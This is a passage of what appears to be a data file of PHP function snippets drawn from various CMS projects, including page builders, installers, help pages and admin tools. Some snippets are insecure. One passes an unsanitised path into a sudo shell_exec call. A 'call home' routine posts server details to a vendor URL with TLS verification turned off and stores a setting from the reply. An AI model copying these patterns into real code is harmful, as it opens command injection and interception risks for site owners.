conjunction');\n\t\t\t$optionForm->addHTML('</td></tr>');\n\t\t\t\n\t\t\t$optionForm->addHTML('</table>');\n\t\t\t$optionForm->output();\n\t\t\t\n\t\t\t$this->page->closeBlock();\n\t\t}", "public static function installation_page()\n\t{\n\t\tmz_Func::user_has_access();\n\n\t\techo '\n\n\t\t\t<div class=\"wrap\">\n\n\t\t\t\t<h2>Mentorz - Installation Guidelines</h2>\n\t\t\t\t<p>Installation.</p>\n\t\t\t\t<p>Create three pages.</p>\n\t\t\t\t<ol>\n\t\t\t\t\t<li>/'.PLUGIN_ROOT_PAGE.'</li>\n\t\t\t\t\t<li>/'.PLUGIN_CREATE_PAGE.'</li>\n\t\t\t\t\t<li>/'.PLUGIN_READ_PAGE.'</li>\n\t\t\t\t</ol>\n\n\t\t\t\t<p>\n\t\t\t\tThese pages can be modified in settings.php if required.\n\t\t\t\t</p>\n\n\t\t\t\t<h3>Users</h3>\n\t\t\t\t<p>The system uses two types of user.</p>\n\t\t\t\t<ol>\n\t\t\t\t\t<li>Mentor</li>\n\t\t\t\t\t<li>Student</li>\n\t\t\t\t</ol>\n\n\t\t\t\t<p>When managing users in the WordPress User module ensure that users have the proper role.</p>\n\n\n\t\t\t\t<h3>Tags</h3>\n\n\t\t\t\t<p>The following tags are designed to be placed inside the WordPress page content area</p>\n\n\t\t\t\t<p><input value=\"[mentorz_inbox]\"> can be placed in the page to generate the inbox view. Pages must be /inbox (Or defined above)</p>\n\n\t\t\t\t<p><input value=\"[mentorz_create]\"> can be placed in the page to generate the message creation form. Page must be /inbox/create (Or defined above)</p>\n\n\t\t\t\t<p><input value=\"[mentorz_show]\"> can be placed in the page to generate the message view. Page must be /inbox/show (Or defined above)</p>\n\n\t\t\t\t<h3>Emails</h3>\n\t\t\t\t<p>When a message is generated the system will email the relevant user to notify them of the message</p>\n\t\t\t\t<p>The message content is NOT emailed for security reasons.</p>\n\t\t\t\t<p>The email details can be modified in settings.php</p>\n\n\t\t\t</div>\n\n\t\t';\n\t}", "public function buildHTML() {\n $vars = array('page' => &$this);\n\n // Trigger various page hooks.\n // Page init.\n $this->env->hook('page_preload', $vars);\n\n // This is an AJAX request. Skip loading index.html and just provide requested content.\n if (isset($_REQUEST['ajax'])) {\n $this->html = NodeFactory::render($this->env);\n }\n // This is an actual HTML page request. Commonly index.html.\n elseif (!empty($this->getIndexFile())) {\n $this->html = file_get_contents($this->env->dir['docroot'] . '/' . $this->getIndexFile());\n }\n // In case of a special pre-loaded page request, i.e. Shadow node edit.\n elseif (!empty($this->getData('content'))) {\n $this->html = $this->getData('content');\n }\n elseif (!is_file($this->env->dir['docroot'] . '/' . $this->getIndexFile())) {\n $this->html = t('Hello! Quanta seems not installed (yet) in your system. Please follow the <a href=\"https://www.quanta.org/installation-instructions\">Installation Instructions</a><br /><br />Reason: file not found(' . $this->getIndexFile() . ')');\n }\n\n // Trigger various page hooks.\n // Page init.\n $this->env->hook('page_init', $vars);\n\n // Page's body classes. // TODO: deprecate, include in page init.\n $this->env->hook('body_classes', $vars);\n\n // Page after build.\n $this->env->hook('page_after_build', $vars);\n\n // Page complete.\n $this->env->hook('page_complete', $vars);\n\n }", "function dashboard_admin_buildContent($data,$db) {\n\t//$url = 'http://localhost/proprietary/version/'; // base url for version \n\t$url = 'https://sitesense.org/dev/version/'; // base url for version \n\t// modules versions contact\n\t$statement = $db->prepare('getEnabledModules','admin_modules'); // modules don't register versions until they're enabled, so this function is borderline useless if you get every module\n\t$statement->execute();\n\t$modules = $statement->fetchAll();\n\t$moduleQuery = array();\n\tforeach($modules as $module){\n\t\tif(file_exists('modules/'.$module['name'].'/README.md')&&dashboard_parse_readme('modules/'.$module['name'].'/README.md')){\n\t\t\t$moduleQuery[$module['shortName']]=$module['version'];\n\t\t}\n\t}\n\t$statement=$db->prepare('getEnabledPlugins','plugins');\n\t$statement->execute();\n\twhile($fetch=$statement->fetch(PDO::FETCH_ASSOC)){\n\t\tif(file_exists('plugins/'.$module['name'].'/README.md')&&dashboard_parse_readme('modules/'.$module['name'].'/README.md')){\n\t\t\tif(file_exists('plugins/'.$fetch['name'].'/install.php')){\n\t\t\t\tcommon_include('plugins/'.$fetch['name'].'/install.php');\n\t\t\t}\n\t\t\tif(function_exists($fetch['name'].'_settings')){\n\t\t\t\t$settings=call_user_func($fetch['name'].'_settings');\n\t\t\t\tif(isset($settings['version'])){\n\t\t\t\t\t$moduleQuery[$fetch['name']]=$settings['version'];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t$moduleQuery = http_build_query(array('modules'=>$moduleQuery));\n\t$moduleQuery = rawurldecode($moduleQuery);\n\t$moduleUrl = $url . 'modules?' . $moduleQuery;\n\tif(isset($data->version)){\n\t\t$moduleUrl .= '&core='.$data->version;\n\t}\n\t$ch = curl_init($moduleUrl);\n\tcurl_setopt($ch,CURLOPT_RETURNTRANSFER,true);\n\tcurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n\t$data->output['moduleUpdates'] = curl_exec($ch);\n\t$data->output['moduleUpdates'] = json_decode($data->output['moduleUpdates'],TRUE);\n\n\t// sitesense version contact\n $info['SiteSense Version'] = $data->version;\n\t$info['Server time']=strftime('%B %d, %Y, %I:%M:%S %p');\n\t$info['Server Signature']=$_SERVER['SERVER_SIGNATURE'];\n\t$info['Server Name']=$_SERVER['SERVER_NAME'];\n\t$info['Server Address']=$_SERVER['SERVER_ADDR'];\n\t$info['Gateway Interface']=$_SERVER['GATEWAY_INTERFACE'];\n\t$info['Server Protocol']=$_SERVER['SERVER_PROTOCOL'];\n\t$info['PHP Version']=phpversion().'</td></tr><tr><td colspan=\"2\">\n\t\t<img src=\"'.$_SERVER['PHP_SELF'].'?='.php_logo_guid().'\" alt=\"PHP Logo\" />';\n\t$info['Zend Version']=zend_version().'</td></tr><tr><td colspan=\"2\">\n\t\t<img src=\"'.$_SERVER['PHP_SELF'].'?='.zend_logo_guid().'\" alt=\"Zend Logo\" />';\n\t$info['Host OS']=PHP_OS;\n\t$data->output['secondSidebar']='\n\t<table class=\"sysInfo\">\n\t\t<caption>System Info</caption>\n\t\t';\n\tforeach ($info as $title => $value) {\n\t\tif (is_array($value)) {\n\t\t\t$data->output['secondSidebar'].='<tr>\n\t\t\t<th colspan=\"2\" class=\"section\">'.$title.'</th>';\n\t\t\tforeach ($value as $subTitle => $subValue) {\n\t\t\t\t$data->output['secondSidebar'].='<tr>\n\t\t\t<th>'.$subTitle.'</th>\n\t\t\t<td>'.$subValue.'</td>\n\t\t</tr>';\n\t\t\t}\n\t\t} else {\n\t\t\t$data->output['secondSidebar'].='<tr>\n\t\t\t<th>'.$title.'</th>\n\t\t\t<td>'.$value.'</td>\n\t\t</tr>';\n\t\t}\n\t}\n\t$data->output['secondSidebar'].='\n\t</table>';\n\t$data->output['pageTitle']='About This CMS -';\n\t//-----Call Home-----//\n\t$field = array(\n\t\t'version' => $data->version,\n\t\t'host' => $data->domainName . $data->linkRoot,\n\t\t'removeAttribution' => $data->settings['removeAttribution'],\n\t\t'serverName' => $info['Server Name'],\n\t\t'serverAddress' => $info['Server Address'],\n\t\t'gatewayInterface' => $info['Gateway Interface'],\n\t\t'serverProtocol' => $info['Server Protocol'],\n\t\t'phpVersion' => phpversion(),\n\t\t'zendVersion' => zend_version()\n\t);\n\t\n\t$ch = curl_init($url);\n\tcurl_setopt($ch,CURLOPT_POST,true);\n\tcurl_setopt($ch,CURLOPT_POSTFIELDS,$field);\n\tcurl_setopt($ch,CURLOPT_RETURNTRANSFER,true);\n\tcurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n\n\t$data->output['result'] = curl_exec($ch);\n\t$data->output['result'] = json_decode($data->output['result'],TRUE);\n\n\t/* \n\t *\n\t * 0 = Attribution\n\t * 1 = Version\n\t**/\n\t// Update Attribution Setting In The DB\n\t$statement = $db->prepare('updateSettings','admin_settings');\n\t$statement->execute(array(\n\t\t':name' => 'removeAttribution',\n\t\t':value' => $data->output['result']['removeAttribution']\n\t));\n\t// Push Across All Languages...\n\tcommon_updateAcrossLanguageTables($data,$db,'settings',array('name'=>'removeAttribution'),array('value'=>$data->output['result']['removeAttribution']));\n\t\n}", "public function install() {\n $strReturn = \"\";\n\n $strReturn .= \"Assigning null-properties and elements to the default language.\\n\";\n if($this->strContentLanguage == \"de\") {\n\n $strReturn .= \" Target language: de\\n\";\n\n if(class_exists(\"class_module_pages_page\", false) || class_classloader::getInstance()->loadClass(\"class_module_pages_page\") !== false)\n class_module_pages_page::assignNullProperties(\"de\", true);\n if(class_exists(\"class_module_pages_pageelement\", false) || class_classloader::getInstance()->loadClass(\"class_module_pages_pageelement\") !== false)\n class_module_pages_pageelement::assignNullElements(\"de\");\n\n $objLang = new class_module_languages_language();\n $objLang->setStrAdminLanguageToWorkOn(\"de\");\n }\n else {\n\n $strReturn .= \" Target language: en\\n\";\n\n if(class_exists(\"class_module_pages_page\", false) || class_classloader::getInstance()->loadClass(\"class_module_pages_page\") !== false)\n class_module_pages_page::assignNullProperties(\"en\", true);\n if(class_exists(\"class_module_pages_pageelement\", false) || class_classloader::getInstance()->loadClass(\"class_module_pages_pageelement\") !== false)\n class_module_pages_pageelement::assignNullElements(\"en\");\n\n $objLang = new class_module_languages_language();\n $objLang->setStrAdminLanguageToWorkOn(\"en\");\n\n }\n\n\n return $strReturn;\n }", "public function buildHTML() {\n\n\t\t// Load the header\n\t\tinclude 'templates/header.php';\n\n\t\t// Load the content\n\t\t$this->contentHTML();\n\n\t\t// Load the footer\n\t\tinclude 'templates/footer.php';\n\n\t}", "public function build() {\n $pref = new Pref(\"system\");\n $this->setMainTemplate($pref->template);\n\n\n if ($this->data['url']['application'] == \"admin\")\n $tpl = new Template(PATH_SITEADMIN_TEMPLATES);\n else\n $tpl = new Template(PATH_TEMPLATES);\n if (!USER_ID && !$this->isAllowed())\n header(\"location: \" . page(\"user\", \"login\"));\n\n if (!USER_ID && $this->isAllowed())\n $tpl->login = true;\n else\n $tpl->login = false;\n $tpl->loadFile(\"template.php\");\n $tpl->data = $this->data;\n $tpl->build();\n }", "private function makeHTML($path) {\n $output = shell_exec(\"sudo /var/www/sphinx/./myMake.sh \" . $path . \" html\");\n //$output = shell_exec(\"sudo sphinx-build -b html $path/source/ $path/build/html\");\n //dd($output);\n $this->addNewNews(0, 0, 3, \"Erstellt HTML\");\n }", "function buildModuleHelpFile() {\n\tglobal $menu, $__FM_CONFIG;\n\t\n\t$body = <<<HTML\n<h3>{$_SESSION['module']}</h3>\n<ul>\n\t<li>\n\t\t<a class=\"list_title\">Configure Zones</a>\n\t\t<div>\n\t\t\t<p>Zones (aka domains) can be managed from the <a href=\"__menu{Zones}\">Zones</a> menu item. From \n\t\t\tthere you can add, edit {$__FM_CONFIG['icons']['edit']}, delete \n\t\t\t{$__FM_CONFIG['icons']['delete']}, and reload {$__FM_CONFIG['icons']['reload']} zones depending on your user permissions.</p>\n\t\t\t<p>You can define a zone as a clone <i class=\"mini-icon fa fa-clone\"></i> of another previously defined master zone. The cloned zone will contain all of the same records\n\t\t\tpresent in the parent zone. This is useful if you have multiple zones with identical records as you won't have to repeat the record\n\t\t\tdefinitions. You can also skip records and define new ones inside clone zones for those that are slightly different than the parent.</p>\n\t\t\t<p>Zones can also be saved as a template and applied to an unlimited number of zones. This can speed up your zone additions and\n\t\t\tmanagement if you have several zones with a similar framework. You can create a zone template when creating a new zone or you can \n\t\t\tcompletely manage them from <a href=\"__menu{Zone Templates}\">Templates</a>. All zones based on a template will be shown with the\n\t\t\t<i class=\"mini-icon fa fa-picture-o\"></i> icon. Zone templates can only be deleted when there are no zones associated \n\t\t\twith them. In addition, clones of a zone based on a template cannot be shortened to a DNAME RR.</p>\n\t\t\t<p>Zones can support dynamic updates only if the checkbox is ticked while creating or editing individual zones. This will cause \n\t\t\t{$_SESSION['module']} to compare the zone file from the DNS server with that in the database and make any necessary changes. This option\n\t\t\twill increase processing time while reloading zones.</p>\n\t\t\t<p>Zones can support DNSSEC signing only if the checkbox is ticked while creating or editing individual zones. You must create the KSK and ZSK\n\t\t\tbefore zones will be signed (only offline signing is supported). This option will increase processing time while reloading zones.</p>\n\t\t\t<p><i>The 'Zone Management' or 'Super Admin' permission is required to add, edit, and delete zones and templates.</i></p>\n\t\t\t<p><i>The 'Reload Zone' or 'Super Admin' permission is required for reloading zones.</i></p>\n\t\t\t<p>Reverse zones can be entered by either their subnet value (192.168.1) or by their arpa value (1.168.192.in-addr.arpa). You can also\n\t\t\tdelegate reverse zones by specifying the classless IP range in the zone name (1-128.168.192.in-addr.arpa).</p>\n\t\t\t<p>Zones that are missing SOA and NS records will be highlighted with a red background and will not be built or reloaded until the \n\t\t\trecords exists.</p>\n\t\t\t<p>You can also import BIND-compatible zone dump files instead of adding records individually. Go to Admin &rarr; \n\t\t\t<a href=\"__menu{Tools}\">Tools</a> and use the Import Zone Files utility. Select your dump file and click 'Import Zones'\n\t\t\twhich will import any views, zones, and records listed in the file.</p>\n\t\t\t<br />\n\t\t</div>\n\t</li>\n\t<li>\n\t\t<a class=\"list_title\">Manage Zone Records</a>\n\t\t<div>\n\t\t\t<p>Records are managed from the <a href=\"__menu{Zones}\">Zones</a> menu item. From \n\t\t\tthere you can select the zone you want manage records for. Select from the upper-right the type of record(s) you want to \n\t\t\tmanage and then you can add, modify, and delete records depending on your user permissions.</p>\n\t\t\t<p>You can add IPv4 A type and IPv6 AAAA type records under the same page. Select A or AAAA from the upper-right and add your \n\t\t\tIPv4 and IPv6 records and {$_SESSION['module']} will auto-detect their type.</p>\n\t\t\t<p>When adding certain records (such as CNAME, MX, SRV, SOA, NS, etc.), you have the option append the domain to the record. This \n\t\t\tmeans {$_SESSION['module']} will automatically add the domain to the record so you don't have to give the fully qualified domain name \n\t\t\tin the record value. {$_SESSION['module']} will attemnpt to auto-detect whether or not the domain should be appended if no choice is\n\t\t\tmade at the time of record creation.</p>\n\t\t\t<p><i>The 'Record Management' or 'Super Admin' permission is required to add, edit, and delete records.</i></p>\n\t\t\t<p>When adding or updating a SOA record for a zone, the domain can be appended to the Master Server and Email Address if selected. This\n\t\t\tmeans you could simply enter 'ns1' and 'username' for the Master Server and Email Address respectively. If you prefer to enter the entire\n\t\t\tentry, make sure you select 'no' for Append Domain.</p>\n\t\t\t<p>SOA records can also be saved as a template and applied to an unlimited number of zones. This can speed up your zone additions and\n\t\t\tmanagement. You can create a SOA template when managing zone records or you can completely manage them from \n\t\t\t<a href=\"__menu{SOA Templates}\">Templates</a>. SOA templates can only be deleted when there are no zones associated with them.</p>\n\t\t\t<p><i>The 'Zone Management' or 'Super Admin' permission is required to add, edit, and delete SOA templates.</i></p>\n\t\t\t<p>Adding A and AAAA records provides the option of automatically creating the associated PTR record. However, the reverse zone must first\n\t\t\texist in order for PTR records to automatically be created. You can enable the automatic reverse zone creation in the \n\t\t\t<a href=\"__menu{{$_SESSION['module']} Settings}\">Settings</a>. In this case, the reverse zone will inherit the same SOA as the \n\t\t\tforward zone.</p>\n\t\t\t<p>When viewing the records of a cloned zone, the parent records will not be editable, but you can choose to skip them or add new records\n\t\t\tthat impacts the cloned zone only.</p>\n\t\t\t<p>You can also import BIND-compatible zone files instead of adding records individually. Go to Admin &rarr; \n\t\t\t<a href=\"__menu{Tools}\">Tools</a> and use the Import Zone Files utility. After selecting the file and zone \n\t\t\tto import to, you have one final chance to review what gets imported before the records are actually imported.</p>\n\t\t\t<br />\n\t\t</div>\n\t</li>\n\t<li>\n\t\t<a class=\"list_title\">Configure Servers</a>\n\t\t<div>\n\t\t\t<p>All aspects of server configuration takes place in the Config menu \n\t\t\titem. From there you can add, edit {$__FM_CONFIG['icons']['edit']}, \n\t\t\tdelete {$__FM_CONFIG['icons']['delete']} servers and options depending on your user permissions.</p>\n\t\t\t\n\t\t\t<p><b>Servers</b><br />\n\t\t\tDNS servers can be defined at Config &rarr; <a href=\"__menu{Servers}\">Servers</a>. In the add/edit server \n\t\t\twindow, select and define the server hostname, key (if applicable), system account the daemon runs as, update method, configuration file, \n\t\t\tserver root, chroot directory (if applicable), and directory to keep the zone files in.</p>\n\t\t\t<p>The server can be updated via the following methods:</p>\n\t\t\t<ul>\n\t\t\t\t<li><i>http(s) -</i> $fm_name will initiate a http(s) connection to the DNS server which updates the configs.</li>\n\t\t\t\t<li><i>cron -</i> The DNS servers will initiate a http connection to $fm_name to update the configs.</li>\n\t\t\t\t<li><i>ssh -</i> $fm_name will SSH to the DNS server which updates the configs.</li>\n\t\t\t</ul>\n\t\t\t<p>In order for the server to be enabled, the client app needs to be installed on the DNS server.</p>\n\t\t\t<p><i>The 'Server Management' or 'Super Admin' permission is required to add, edit, and delete servers.</i></p>\n\t\t\t<p>Once a server is added or modified, the configuration files for the server will need to be built before zone reloads will be available. \n\t\t\tBefore building the configuration {$__FM_CONFIG['icons']['build']} you can preview {$__FM_CONFIG['icons']['preview']} the configs to \n\t\t\tensure they are how you desire them. Both the preview and the build will check the configuration files with named-checkconf and named-checkzone\n\t\t\tif enabled in the <a href=\"__menu{{$_SESSION['module']} Settings}\">Settings</a>.</p>\n\t\t\t<p><i>The 'Build Server Configs' or 'Super Admin' permission is required to build the DNS server configurations.</i></p>\n\t\t\t<br />\n\t\t\t\n\t\t\t<p><b>Views</b><br />\n\t\t\tIf you want to use views, they need to be defined at Config &rarr; <a href=\"__menu{Views}\">Views</a>. View names \n\t\t\tcan be defined globally for all DNS servers or on a per-server basis. This is controlled by the servers drop-down menu in the upper right.</p>\n\t\t\t<p>Once you define a view, you can select it in the list to manage the options for that view - either globally or server-based. See the section \n\t\t\ton 'Options' for further details.</p>\n\t\t\t<p><i>The 'Server Management' or 'Super Admin' permission is required to manage views.</i></p>\n\t\t\t<br />\n\t\t\t\n\t\t\t<p><b>ACLs</b><br />\n\t\t\tAccess Control Lists are defined at Config &rarr; <a href=\"__menu{ACLs}\">ACLs</a> and can be defined globally \n\t\t\tfor all DNS servers or on a per-server basis. This is controlled by the servers drop-down menu in the upper right.</p>\n\t\t\t<p>When defining an ACL, specify the name and the address list. You can use the pre-defined addresses or specify your own delimited by a space,\n\t\t\tsemi-colon, or newline.</p>\n\t\t\t<p><i>The 'Server Management' or 'Super Admin' permission is required to manage ACLs.</i></p>\n\t\t\t<br />\n\t\t\t\n\t\t\t<p><b>Keys</b><br />\n\t\t\tCurrently, {$_SESSION['module']} does not generate server keys (TSIG), but once you create them on your server, you can define them in the UI \n\t\t\tat Config &rarr; <a href=\"__menu{Keys}\">Keys</a>. DNSSEC keys, however, can be automatically generated and managed by {$_SESSION['module']}.\n\t\t\tDNSSEC keys can only be deleted when they are not used for signing and/or have been revoked.</p>\n\t\t\t<p><i>The 'Server Management' or 'Super Admin' permission is required to manage keys.</i></p>\n\t\t\t<br />\n\t\t\t\n\t\t\t<p><b>Masters</b><br />\n\t\t\tMasters can be defined globally or server-based which is controlled by the servers drop-down menu in the upper right. To define the masters, \n\t\t\tgo to Config &rarr; <a href=\"__menu{Masters}\">Masters</a>.</p>\n\t\t\t<p>Masters can then be used when defining zones and defining the <i>masters</i> and <i>also-notify</i> options.</p>\n\t\t\t<p>Server-level masters always supercede global ones.</p>\n\t\t\t<p><i>The 'Server Management' or 'Super Admin' permission is required to manage the masters.</i></p>\n\t\t\t<br />\n\t\t\t\n\t\t\t<p><b>Options</b><br />\n\t\t\tOptions can be defined globally or server-based which is controlled by the servers drop-down menu in the upper right. Currently, the options \n\t\t\tconfiguration is rudimentary and can be defined at Config &rarr; <a href=\"__menu{Options}\">Options</a>.</p>\n\t\t\t<p>Server-level options always supercede global options (including global view options).</p>\n\t\t\t<p><i>The 'Server Management' or 'Super Admin' permission is required to manage server options.</i></p>\n\t\t\t<br />\n\t\t\t\n\t\t\t<p><b>Logging</b><br />\n\t\t\tLogging channels and categories can be defined globally or server-based which is controlled by the servers drop-down menu in the upper right. \n\t\t\tTo manage the logging configuration, go to Config &rarr; <a href=\"__menu{Logging}\">Logging</a>.</p>\n\t\t\t<p>Server-level channels and categories always supercede global ones.</p>\n\t\t\t<p><i>The 'Server Management' or 'Super Admin' permission is required to manage server logging.</i></p>\n\t\t\t<br />\n\t\t\t\n\t\t\t<p><b>Controls</b><br />\n\t\t\tControls can be defined globally or server-based which is controlled by the servers drop-down menu in the upper right. \n\t\t\tTo manage the controls configuration, go to Config &rarr; <a href=\"__menu{Operations}\">Operations</a>.</p>\n\t\t\t<p>Server-level controls always supercede global ones.</p>\n\t\t\t<p><i>The 'Server Management' or 'Super Admin' permission is required to manage server controls.</i></p>\n\t\t\t<br />\n\t\t</div>\n\t</li>\n\t<li>\n\t\t<a class=\"list_title\">Module Settings</a>\n\t\t<div>\n\t\t\t<p>Settings for {$_SESSION['module']} can be updated from the <a href=\"__menu{{$_SESSION['module']} Settings}\">Settings</a> menu item.</p>\n\t\t\t<br />\n\t\t</div>\n\t</li>\n\t\nHTML;\n\treturn $body;\n}", "function displaySetup(& $tpl)\n {\n\n $return_string = '';\n\n\n $this->admin_auth_handler_->perm_->addLanguage('en', 'english', 'English language');\n $this->admin_auth_handler_->perm_->setCurrentLanguage('en');\n $app_id = $this->admin_auth_handler_->perm_->addApplication('HEM', 'Heuristic Evaluation Manager');\n if(PEAR::isError($app_id))\n {\n\t$return_string.= \"<pre>Adding App:\";\n\t$return_string.= var_export($app_id);\n\t$return_string.= \"</pre>\";\n }\n else\n $return_string.= \"Added Application $app_id<br/>\";\n \n $area_id = $this->admin_auth_handler_->perm_->addArea($app_id, 'AREA', 'The Only Area');\n \n if(PEAR::isError($area_id))\n {\n\t$return_string.= \"<pre>Adding Area:\";\n\t$return_string.= var_export($area_id);\n\t$return_string.= \"</pre>\";\n }\n else\n $return_string.= \"Added Area $area_id<br/>\"; \n \n\n $group_id_1 = $this->admin_auth_handler_->perm_->addGroup('evaluator', 'The Evaluators', TRUE, 'EVALUATOR');\n if(PEAR::isError($group_id_1))\n {\n\t$return_string.= \"<pre>Adding Area:\";\n\t$return_string.= var_export($group_id_1);\n\t$return_string.= \"</pre>\";\n }\n else\n $return_string.= \"Added Group $group_id_1<br/>\"; \n\n $group_id_2 = $this->admin_auth_handler_->perm_->addGroup('manager', 'The Managers', TRUE, 'MANAGER');\n if(PEAR::isError($group_id_2))\n {\n\t$return_string.= \"<pre>Adding Area:\";\n\t$return_string.= var_export($group_id_2);\n\t$return_string.= \"</pre>\";\n }\n else\n $return_string.= \"Added Group $group_id_2<br/>\"; \n\n $group_id_3 = $this->admin_auth_handler_->perm_->addGroup('admin', 'The Administrators', TRUE, 'ADMIN');\n if(PEAR::isError($group_id_3))\n {\n\t$return_string.= \"<pre>Adding Area:\";\n\t$return_string.= var_export($group_id_3);\n\t$return_string.= \"</pre>\";\n }\n else\n $return_string.= \"Added Group $group_id_3<br/>\"; \n\n\n\n $tpl->setCurrentBlock('main_block');\n \n $tpl->setVar('CONTENT', $return_string);\n \n $tpl->parseCurrentBlock();\n\n return 1;\n\n }", "function show_tools()\n{\n\tglobal $ns,$tp;\n\t\n\tif(is_readable(e_ADMIN.\"ver.php\"))\n\t{\n\t\tinclude(e_ADMIN.\"ver.php\");\n\t\tlist($ver, $tmp) = explode(\" \", $e107info['e107_version']);\n\t}\n\t\t\n\t$lans = getLanList();\n\t\n\t$release_diz = defined(\"LANG_LAN_30\") ? LANG_LAN_30 : \"Release Date\";\n\t$compat_diz = defined(\"LANG_LAN_31\") ? LANG_LAN_31 : \"Compatibility\";\n\t$lan_pleasewait = (defsettrue('LAN_PLEASEWAIT')) ? $tp->toJS(LAN_PLEASEWAIT) : \"Please Wait\";\n\t$lan_displayerrors = (defsettrue('LANG_LAN_33')) ? LANG_LAN_33 : \"Display only errors during verification\";\n\t\n\t\n\t$text = \"<form id='lancheck' method='post' action='\".e_SELF.\"?tools'>\n\t\t\t<table class='fborder' style='\".ADMIN_WIDTH.\"'>\";\n\t$text .= \"\n\t\t<tr>\n\t\t<td class='fcaption'>\".ADLAN_132.\"</td>\n\t\t<td class='fcaption'>\".$release_diz.\"</td>\t\t\n\t\t<td class='fcaption'>\".$compat_diz.\"</td>\n\t\t<td class='fcaption' style='text-align:center'>\".ADLAN_134.\"</td>\n\t\t<td class='fcaption' style='text-align:center;width:25%;white-space:nowrap'>\".LAN_OPTIONS.\"</td>\n\t\t</tr>\n\t\t\";\n\t\n\trequire_once(e_HANDLER.\"xml_class.php\");\n\t$xm = new XMLParse();\n\t\n\tforeach($lans as $language)\n\t{\n\t\tif($language == \"English\")\n\t\t{\n\t\t\tcontinue;\n\t\t}\n\t\t$metaFile = e_LANGUAGEDIR.$language.\"/\".$language.\".xml\";\n\t\t\n\t\tif(is_readable($metaFile))\n\t\t{\n\t\t\t$rawData = file_get_contents($metaFile);\n\t\t\tif($rawData)\n\t\t\t{\n\t\t\t\t$array = $xm->parse($rawData);\n\t\t\t\t$value = $array['e107Language']['attributes'];\t\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$value = array(\n\t\t\t\t'date' \t\t\t=> \"&nbsp;\",\n\t\t\t\t'compatibility' => '&nbsp;'\n\t\t\t);\t\t\n\t\t\t}\t\t\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$value = array(\n\t\t\t\t'date' \t\t\t=> \"&nbsp;\",\n\t\t\t\t'compatibility' => '&nbsp;'\n\t\t\t);\t\n\t\t}\n\t\t\n\t\t$errFound = (isset($_SESSION['lancheck'][$language]['total']) && $_SESSION['lancheck'][$language]['total'] > 0) ? TRUE : FALSE;\n\t\t\n\t\t\t\t\t\t\n\t\t$text .= \"<tr>\n\t\t\t<td class='forumheader3' >\".$language.\"</td>\n\t\t\t<td class='forumheader3' >\".$value['date'].\"</td>\n\t\t\t<td class='forumheader3' >\".$value['compatibility'].\"</td>\n\t\t\t<td class='forumheader3' style='text-align:center' >\".($ver != $value['compatibility'] || $errFound ? ADMIN_FALSE_ICON : ADMIN_TRUE_ICON ).\"</td>\n\t\t\t<td class='forumheader3' style='text-align:center'><input type='submit' name='language_sel[{$language}]' value=\\\"\".LAN_CHECK_2.\"\\\" class='button' />\n\t\t\t<input type='submit' name='ziplang[{$language}]' value=\\\"\".LANG_LAN_23.\"\\\" class='button' onclick=\\\"this.value = '\".$lan_pleasewait.\"'\\\" /></td>\t\n\t\t\t</tr>\";\n\t\t}\n\t\t\n\t\t$srch = array(\"[\",\"]\");\n\t\t$repl = array(\"<a rel='external' href='http://e107.org/content/About-Us:The-Team#translation-team'>\",\"</a>\");\n\t\t$diz = (defsettrue(\"LANG_LAN_28\")) ? LANG_LAN_28 : \"Check this box if you're an [e107 certified translator].\";\n\t\n\t\t$checked = varset($_COOKIE['e107_certified']) == 1 ? \"checked='checked'\" : \"\";\n\t\t$text .= \"<tr><td class='forumheader' colspan='4' style='text-align:center'>\n\t\t <input type='checkbox' name='contribute_pack' value='1' {$checked} />\".str_replace($srch,$repl,$diz);\n\t\t\n\t\t$echecked = varset($_SESSION['lancheck-errors-only']) == 1 ? \"checked='checked'\" : \"\";\t\t\n\t\t$text .= \"</td>\n\t\t<td class='forumheader' style='text-align:center'>\n\t\t<input type='checkbox' name='errorsonly' value='1' {$echecked} /> \".$lan_displayerrors.\" </td>\n\t\t\n\t\t</tr></table>\";\n\t\t\n\t\t\n\t\t$text .= \"</form>\";\n\t\n\t$text .= \"<div class='smalltext' style='padding-top:50px;text-align:center'>\".LANG_LAN_AGR.\"</div>\";\t\n\t$ns->tablerender(LANG_LAN_32, $text);\t\t\n\treturn;\n\t\t\n}", "private function setupPage ()\n {\n $output = '<!DOCTYPE html><html lang=\"en\"><head>';\n $output .= $this->setCharacterEncoding();\n $output .= $this->setPageTitle();\n $output .= $this->setBasePath();\n $output .= $this->fixHTML5();\n $output .= $this->registerCustomResources();\n $output .= '</head><body>';\n echo $output;\n }", "public function build(Array $context = array()){\n\t\t\t$this->_context = $context;\n\n\t\t\tif(!$this->canAccessPage()){\n\t\t\t\tAdministration::instance()->customError(__('Access Denied'), __('You are not authorised to access this page.'));\n\t\t\t}\n\n\t\t\t$this->Html->setDTD('<!DOCTYPE html>');\n\t\t\t$this->Html->setAttribute('lang', Lang::get());\n\t\t\t$this->addElementToHead(new XMLElement('meta', NULL, array('http-equiv' => 'Content-Type', 'content' => 'text/html; charset=UTF-8')), 0);\n\t\t\t$this->addStylesheetToHead(SYMPHONY_URL . '/assets/basic.css', 'screen', 40);\n\t\t\t$this->addStylesheetToHead(SYMPHONY_URL . '/assets/admin.css', 'screen', 41);\n\t\t\t$this->addStylesheetToHead(SYMPHONY_URL . '/assets/symphony.duplicator.css', 'screen', 70);\n\t\t\t$this->addScriptToHead(SYMPHONY_URL . '/assets/jquery.js', 50);\n\t\t\t$this->addScriptToHead(SYMPHONY_URL . '/assets/jquery.color.js', 51);\n\t\t\t$this->addScriptToHead(SYMPHONY_URL . '/assets/symphony.collapsible.js', 60);\n\t\t\t$this->addScriptToHead(SYMPHONY_URL . '/assets/symphony.orderable.js', 61);\n\t\t\t$this->addScriptToHead(SYMPHONY_URL . '/assets/symphony.selectable.js', 62);\n\t\t\t$this->addScriptToHead(SYMPHONY_URL . '/assets/symphony.duplicator.js', 63);\n\t\t\t$this->addScriptToHead(SYMPHONY_URL . '/assets/symphony.tags.js', 64);\n\t\t\t$this->addScriptToHead(SYMPHONY_URL . '/assets/symphony.pickable.js', 65);\n\t\t\t$this->addScriptToHead(SYMPHONY_URL . '/assets/admin.js', 71);\n\n\t\t\t$this->addElementToHead(\n\t\t\t\tnew XMLElement(\n\t\t\t\t\t'script',\n\t\t\t\t\t\"Symphony.Context.add('env', \" . json_encode($this->_context) . \"); Symphony.Context.add('root', '\" . URL . \"');\",\n\t\t\t\t\tarray('type' => 